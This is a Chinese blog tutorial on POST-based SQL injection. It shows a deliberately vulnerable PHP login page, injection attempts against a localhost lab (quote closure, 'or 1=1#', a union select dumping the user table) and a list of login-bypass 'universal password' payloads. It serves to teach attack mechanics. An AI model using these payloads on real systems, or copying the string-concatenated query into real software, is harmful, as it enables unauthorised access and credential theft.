sql_injection之post注入

1、代码篇

</html>
<center>
<form action="#" method="post">
姓名:<input type="text" name="user"><br>
密码:<input type="text" name="pass"><br>
<input type="submit" name="submit" value="提交">
</center>
</html>
<?php
/*************************
author:Bloodero
sql_injection_post
*************************/

include("../conn.php");
error_reporting(0);
if(isset($_POST['submit'])){
    if(!empty($_POST['user']) && !empty($_POST['pass'])){
        $user=$_POST['user'];
        $pass=$_POST['pass'];
        echo "你当前输入用户名:".$user."<br>";
        echo "你当前输入密码:".$pass."<br>";
        $sql="select * from user where username='$user' and password='$pass'";
        $res=mysql_query($sql);
        $row=mysql_fetch_array($res);
        if(empty($row)){
            echo "<script>alert('登陆失败')</script>";
        }
        else{
            echo "当前用户:<br>";
            echo "id:".$row['id']."<br>";
            echo "username:".$row['username']."<br>";
            echo "password:".$row['password']."<br>";
        }
    }
    else{
        echo "<script>alert('用户名/密码不能为空')</script>";
    }
}
else{
    exit();
}
?>

2、注入篇:http://localhost/pentest/sql/sql_injection_post.php

正确输入:

你当前输入用户名:admin
你当前输入密码:pass
当前用户:
id:1
username:admin
password:pass

尝试注入:

你当前输入用户名:1'
你当前输入密码:1

登陆失败
你当前输入用户名:1' #
你当前输入密码:1

登陆失败
你当前输入用户名:1' or 1=1#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass

登陆成功
你当前输入用户名:1' or 1=2#
你当前输入密码:1

登陆失败

这里我解释一下原理:

当我们闭合了where语句,然后再后面接or 1=2时,这时候恒假,所以不会有结果;

当我们接or 1=1时,恒真,所以就会查询所有;

你当前输入用户名:1' and 1=2 union select * from user#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass

这里的原理不懂的可以去看看第一发sql_injection;

3、防注入

对post过来的数据,进行处理;会有一篇进行详细讲解

4、通过post注入,引生的万能密码

"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
admin' or 'a'='a 密码随便
'or 1=1/*
User: something  Pass: ' or '1'='1
1'or'1'='1
admin' or 1=1/*

 

转载于:https://www.cnblogs.com/BloodZero/p/4425105.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值